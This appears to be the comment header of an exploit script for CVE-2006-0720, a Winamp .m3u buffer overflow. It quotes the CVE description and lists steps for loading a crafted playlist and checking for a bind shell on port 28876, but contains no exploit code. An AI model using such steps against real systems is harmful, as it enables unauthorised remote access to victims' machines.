# Description from CVE-2006-0720  
# Stack-based buffer overflow in Nullsoft Winamp 5.12 and 5.13  
# allows user-assisted attackers to cause a denial of service  
# (crash) and possibly execute arbitrary code via a crafted  
# .m3u file that causes an incorrect strncpy function call  
# when the player pauses or stops the file.

#  
# 1. Launch Winamp  
# 2. Drag boom.m3u into Winamp window  
# 3. Check for bind shell on port 28876
